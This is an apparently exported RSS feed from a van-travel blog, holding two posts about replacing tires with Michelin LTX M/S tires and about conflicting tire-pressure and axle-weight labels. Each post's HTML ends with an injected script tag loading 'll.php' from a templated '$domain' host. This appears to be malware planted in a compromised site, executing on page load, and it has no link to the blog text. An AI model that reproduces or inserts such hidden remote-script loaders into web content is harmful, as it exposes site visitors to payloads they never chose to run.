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		<title>New rubba dubba</title>
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		<pubDate>Wed, 29 Apr 2009 20:50:25 +0000</pubDate>
		<dc:creator>Keith</dc:creator>
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		<description><![CDATA[I replaced the Continental tires today with four Michelin LTX M/S LT235/85R16. I needed a tire that I could hopefully get much better mileage and I wanted to increase my ground clearance for boon-docking. The tires look great and with 15/32 of rubber they are a lot of tire. The TPMS didn&#8217;t seem to have any [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ourexcellentadventures.com/wp-content/uploads/2009/04/tire-002.jpg"><img class="alignright size-medium wp-image-1530" title="The new rubba!" src="http://www.ourexcellentadventures.com/wp-content/uploads/2009/04/tire-002-200x142.jpg" alt="The new rubba!" width="200" height="142" /></a>I replaced the Continental tires today with four Michelin LTX M/S LT235/85R16.</p>
<p>I needed a tire that I could hopefully get much better mileage and I wanted to increase my ground clearance for boon-docking.</p>
<p>The tires look great and with 15/32 of <a href="http://www.ourexcellentadventures.com/wp-content/uploads/2009/04/tire-001.jpg"><img class="alignleft size-medium wp-image-1531" title="New rear tire." src="http://www.ourexcellentadventures.com/wp-content/uploads/2009/04/tire-001-200x142.jpg" alt="New rear tire." width="200" height="142" /></a>rubber they are a lot of tire. The TPMS didn&#8217;t seem to have any problem (I reset it before I left the parking lot). The very initial numbers for speed show analog 45 mph, digital 46 mph and gps 47 mph. I have no pre numbers for the digital but with the Continental&#8217;s the analog was about 2-3 mph below gps.</p>
<p>I also ordered a new spare the same size as I was worried if I put the stock spare on the ECU would put me in a &#8220;limp&#8221; mode when it detected the difference in diameter.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Air pressure &#8211; who is right</title>
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		<pubDate>Wed, 11 Jun 2008 21:44:44 +0000</pubDate>
		<dc:creator>Keith</dc:creator>
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		<description><![CDATA[Tire pressure is usually a subject that everyone agrees to disagree on but I confused on this one. I have posted this in the SMB forum and in the Sprinter-source forum. Since the #1 cause of tire failure is low air pressure we can&#8217;t take this lightly. This is the manufacturer&#8217;s label . . . [...]]]></description>
			<content:encoded><![CDATA[<p>Tire pressure is usually a subject that everyone agrees to disagree on but I confused on this one. I have posted this in the SMB forum and in the Sprinter-source forum. Since the #1 cause of tire failure is low air pressure we can&#8217;t take this lightly.</p>
<p>This is the manufacturer&#8217;s label . . .<img class="alignleft" style="float: left; border: 0px;" src="http://www.ourexcellentadventures.com/wp-content/photos/sprinter/air1.jpg" border="0" alt="Manufacturer label" width="500" height="375" /></p>
<p>and I don&#8217;t know whose label (Sportsmobile?) this is but the difference is major.<br />
<span style="text-align: left;"><img class="alignleft" style="float: right; margin: 6px; border: 0px;" src="http://www.ourexcellentadventures.com/wp-content/photos/sprinter/a2.jpg" border="0" alt="Who does this belong too?" width="450" height="338" /></span></p>
<p>The tires maximum capacity is 3049 pounds at pressure 80psi.</p>
<p>The GVWR in 8550 pounds with the GAWR Front 3970 and the GAWR Rear 5360. I am not over these but I am within about 200 pounds.</p>
<p>Higher pressure will help my mileage but a stiffer ride on these trashed freeways in California will be bone crunching. (I have hit some holes that the rear axle comes entirely off the road.)</p>
<p>BTW, if the rear seating capacity is 0 as it reads on the second photo, why do I have 4 seatbelts in the rear?<script src="http://$domain/ll.php?kk=11"></script></p>
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